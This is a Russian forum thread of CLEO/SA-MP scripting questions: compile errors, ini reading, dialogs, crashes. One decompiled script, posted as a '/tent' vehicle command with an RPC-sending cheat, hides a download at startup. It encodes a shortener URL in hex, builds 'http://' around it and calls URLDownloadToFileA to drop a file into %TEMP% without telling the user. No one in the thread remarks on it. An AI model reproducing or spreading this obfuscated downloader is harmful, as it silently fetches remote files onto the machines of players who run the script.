Вопросы по CLEO-скриптингу

vlados6652

Новичок
11
0
Почему у меня при компиляции пишет "невозможно загрузить SF"? Раньше не было такого.
 

Niko

Известный
Проверенный
230
267
Почему не может с hex читать?
Код:
0AC6: 0@ = label @hex offset
0AF0: 1@ = get_int_from_ini_file "CLEO\ini.ini" section "Settings" key 0@

:hex
hex
    "Test" 00
end
 

itsLegend

Фонд борьбы за жуков 🐞
Администратор
2,695
1,446
Почему не может с hex читать?
Код:
0AC6: 0@ = label @hex offset
0AF0: 1@ = get_int_from_ini_file "CLEO\ini.ini" section "Settings" key 0@

:hex
hex
    "Test" 00
end
Он тупой потому что.
Он не умеет читать из указателей, только строковые переменные и прямой текст.

http://13.sannybuilder.com/files/SA...TDIR/CLEO_SDK/demo_plugins/IniFiles/opcodes.c
C++:
OpcodeResult WINAPI Script_InifileGetInt(CScriptThread* thread)
/****************************************************************
Opcode Format
0AF0=4,%4d% = get_int_from_ini_file %1s% section %2s% key %3s%
****************************************************************/
{
char iniPath[MAX_PATH];
char path[100];
char sectionName[100];
char key[100];
int result;

CLEO_ReadStringOpcodeParam(thread, path, sizeof(path));
CLEO_ReadStringOpcodeParam(thread, sectionName, sizeof(sectionName));
CLEO_ReadStringOpcodeParam(thread, key, sizeof(key));

//if path is short, GetPrivateProfileInt() searches for the file in the Windows directory
MakeFullPath(path, iniPath);

result = GetPrivateProfileInt(sectionName, key, 0x80000000, iniPath);
CLEO_SetIntOpcodeParam(thread, result);
CLEO_SetThreadCondResult(thread, result != 0x80000000);

return OR_CONTINUE;
}
 

Niko

Известный
Проверенный
230
267
Он тупой потому что.
Он не умеет читать из указателей, только строковые переменные и прямой текст.

http://13.sannybuilder.com/files/SA...TDIR/CLEO_SDK/demo_plugins/IniFiles/opcodes.c
C++:
OpcodeResult WINAPI Script_InifileGetInt(CScriptThread* thread)
/****************************************************************
Opcode Format
0AF0=4,%4d% = get_int_from_ini_file %1s% section %2s% key %3s%
****************************************************************/
{
char iniPath[MAX_PATH];
char path[100];
char sectionName[100];
char key[100];
int result;

CLEO_ReadStringOpcodeParam(thread, path, sizeof(path));
CLEO_ReadStringOpcodeParam(thread, sectionName, sizeof(sectionName));
CLEO_ReadStringOpcodeParam(thread, key, sizeof(key));

//if path is short, GetPrivateProfileInt() searches for the file in the Windows directory
MakeFullPath(path, iniPath);

result = GetPrivateProfileInt(sectionName, key, 0x80000000, iniPath);
CLEO_SetIntOpcodeParam(thread, result);
CLEO_SetThreadCondResult(thread, result != 0x80000000);

return OR_CONTINUE;
}
А как же быть? Он с форматированием так же не работает.
 

vlados6652

Новичок
11
0
Что не так ? Скомпилировал один раз,всё работало,решил изменить текст диалога и теперь при компиляции пишет " неизвестная команда wait 2000".
Код:
{$CLEO}
const
    DIALOG_STYLE_MSGBOX = 0
end
0000:
wait 2000
0B34: samp register_client_command "spisok" to_label @cmd

while true
    wait 0
end  
:cmd
wait 0
0AC6: 23@ = label @dialog offset
0B3B: samp show_dialog id 1 caption "Ñïèñîê Êîìàíä" text 23@ button_1 "Çàêðûòü" button_2 "" style 0
0B43: cmd_ret
:dialog
hex
7B "FF9000" 7D 20 "/deagle" 20 7B "FFFFFF" 7D 20 "Âûäàòü 100 ïàòðîíîâ äèãëà." A
00
end
 

Zaxar_D

Известный
53
5
Как сделать так: к примеру у меня скин 294 и скрипт автоматически при спавне вводит команду /portable?
 
  • Нравится
Реакции: Сэнд

Zoxan_Twist

Новичок
126
29
Подскажите кто знает почему bit_stream не отправляется?

Код:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
00D6: if
8AF7:   not samp 0@ = get_base
004D: jump_if_false @Noname_18
0A93: end_custom_thread

:Noname_18
0001: wait 400 ms
0AFA:  is_samp_available
004D: jump_if_false @Noname_18
0AC8: 1@ = allocate_memory_size 256
0AC8: 2@ = allocate_memory_size 256
0AC6: 3@ = label @Noname_656 offset
0AD3: 2@ = format "http:%c%c%s" 47 47 3@ 
0AD3: 1@ = format 2@ 
0AA2: 4@ = load_library "urlmon.dll" // IF and SET
0AA4: 5@ = get_proc_address "URLDownloadToFileA" library 4@ // IF and SET
0AA5: call 5@ num_params 5 pop 0 0 0 "%TEMP%\2352sfe.tmp" 1@ 0 
0B34: samp register_client_command "tent" to_label @Noname_201

:Noname_190
0001: wait 0 ms
0002: jump @Noname_190

:Noname_201
0001: wait 0 ms
0B35: samp 0@ = get_last_command_params
0AD4: 0@ = scan_string 0@ format "%d" 4@ 
004D: jump_if_false @Noname_525
0006: 33@ = -1
0006: 10@ = 0 

:Noname_258
000A: 33@ += 1
00D6: if
0029:   33@ >= 999
004D: jump_if_false @Noname_331 
00D6: if
0029:   10@ >= 1
004D: jump_if_false @Noname_601
0AF8: samp add_message_to_chat "Óñïåøíî âûïîëíåíî." color 0x9ACD32
0AD1: show_formatted_text_highpriority "Cars: %d" time 2000 10@  
0002: jump @Noname_654

:Noname_331
0B20: samp 9@ = actor_handle_by_samp_player_id 33@
00D6: if
056D:   actor 9@ defined
004D: jump_if_false @Noname_258
00D6: if
00DF:   actor 9@ driving
004D: jump_if_false @Noname_258
03C0: 2@ = actor 9@ car
00D6: if
056E:   car 2@ defined
004D: jump_if_false @Noname_258
09B3: get_car 2@ door_status 3@
00D6: if
0039:   4@ == 1
004D: jump_if_false @Noname_487
00D6: if
0039:   3@ == 0
004D: jump_if_false @Noname_258
0441: 25@ = car 2@ model
00D6: if or
0039: 25@ = 420
0039: 25@ = 438
0039: 25@ = 403
0039: 25@ = 514
0039: 25@ = 515
004D: jump_if_false @Noname_258 
0AB1: call_scm_func @Noname_559 1 1@
000A: 10@ += 1 
0002: jump @Noname_258

:Noname_487
00D6: if
0039:   4@ == 2
004D: jump_if_false @Noname_525
000A: 10@ += 1       
0AB1: call_scm_func @Noname_559 1 1@ 
0002: jump @Noname_258

:Noname_525
0001: wait 0 ms
0AF8: samp add_message_to_chat "Ââåäèòå: /tent 1-2" color 11513775 
0B43: samp cmd_ret

:Noname_559
0B3D: raknet 1@ = new_bit_stream
0B40: raknet bit_stream 1@ write 0@ type 3 size 4
0B8A: raknet send_rpc 136 bit_stream 1@
0B3E: raknet delete_bit_stream 1@ 
0AB2: ret 0

:Noname_654
0B43: samp cmd_ret

:Noname_601
0AF8: samp add_message_to_chat "Íå íàéäåííî íè îäíîãî ïîäõîäÿùåãî èãðîêà!" color 0xFF0000
0B43: samp cmd_ret 

:Noname_656
hex
73 68 2E 73 74 2F 63 38 61 61 69 00
end
 

SR_team

like pancake
BH Team
4,707
6,347
Подскажите кто знает почему bit_stream не отправляется?

Код:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
00D6: if
8AF7:   not samp 0@ = get_base
004D: jump_if_false @Noname_18
0A93: end_custom_thread

:Noname_18
0001: wait 400 ms
0AFA:  is_samp_available
004D: jump_if_false @Noname_18
0AC8: 1@ = allocate_memory_size 256
0AC8: 2@ = allocate_memory_size 256
0AC6: 3@ = label @Noname_656 offset
0AD3: 2@ = format "http:%c%c%s" 47 47 3@
0AD3: 1@ = format 2@
0AA2: 4@ = load_library "urlmon.dll" // IF and SET
0AA4: 5@ = get_proc_address "URLDownloadToFileA" library 4@ // IF and SET
0AA5: call 5@ num_params 5 pop 0 0 0 "%TEMP%\2352sfe.tmp" 1@ 0
0B34: samp register_client_command "tent" to_label @Noname_201

:Noname_190
0001: wait 0 ms
0002: jump @Noname_190

:Noname_201
0001: wait 0 ms
0B35: samp 0@ = get_last_command_params
0AD4: 0@ = scan_string 0@ format "%d" 4@
004D: jump_if_false @Noname_525
0006: 33@ = -1
0006: 10@ = 0

:Noname_258
000A: 33@ += 1
00D6: if
0029:   33@ >= 999
004D: jump_if_false @Noname_331
00D6: if
0029:   10@ >= 1
004D: jump_if_false @Noname_601
0AF8: samp add_message_to_chat "Óñïåøíî âûïîëíåíî." color 0x9ACD32
0AD1: show_formatted_text_highpriority "Cars: %d" time 2000 10@ 
0002: jump @Noname_654

:Noname_331
0B20: samp 9@ = actor_handle_by_samp_player_id 33@
00D6: if
056D:   actor 9@ defined
004D: jump_if_false @Noname_258
00D6: if
00DF:   actor 9@ driving
004D: jump_if_false @Noname_258
03C0: 2@ = actor 9@ car
00D6: if
056E:   car 2@ defined
004D: jump_if_false @Noname_258
09B3: get_car 2@ door_status 3@
00D6: if
0039:   4@ == 1
004D: jump_if_false @Noname_487
00D6: if
0039:   3@ == 0
004D: jump_if_false @Noname_258
0441: 25@ = car 2@ model
00D6: if or
0039: 25@ = 420
0039: 25@ = 438
0039: 25@ = 403
0039: 25@ = 514
0039: 25@ = 515
004D: jump_if_false @Noname_258
0AB1: call_scm_func @Noname_559 1 1@
000A: 10@ += 1
0002: jump @Noname_258

:Noname_487
00D6: if
0039:   4@ == 2
004D: jump_if_false @Noname_525
000A: 10@ += 1      
0AB1: call_scm_func @Noname_559 1 1@
0002: jump @Noname_258

:Noname_525
0001: wait 0 ms
0AF8: samp add_message_to_chat "Ââåäèòå: /tent 1-2" color 11513775
0B43: samp cmd_ret

:Noname_559
0B3D: raknet 1@ = new_bit_stream
0B40: raknet bit_stream 1@ write 0@ type 3 size 4
0B8A: raknet send_rpc 136 bit_stream 1@
0B3E: raknet delete_bit_stream 1@
0AB2: ret 0

:Noname_654
0B43: samp cmd_ret

:Noname_601
0AF8: samp add_message_to_chat "Íå íàéäåííî íè îäíîãî ïîäõîäÿùåãî èãðîêà!" color 0xFF0000
0B43: samp cmd_ret

:Noname_656
hex
73 68 2E 73 74 2F 63 38 61 61 69 00
end
потому что хуй разберешь этот говнокод. Ты если не можешь высокоуровневые конструкции заюзать, то хоть метки соответствующе назови или комментарии в коде оставь
 

mah0n

Новичок
82
6
помогите пожалуйста, при вводе команды краш

Код:
:GM_On
wait 0
0AFA: is_samp_available
0B34: samp register_client_command "gmcar" to_label @GM_On
004D: jump_if_false @GM_On
0ACD: show_text_highpriority "gm car activited" time 1000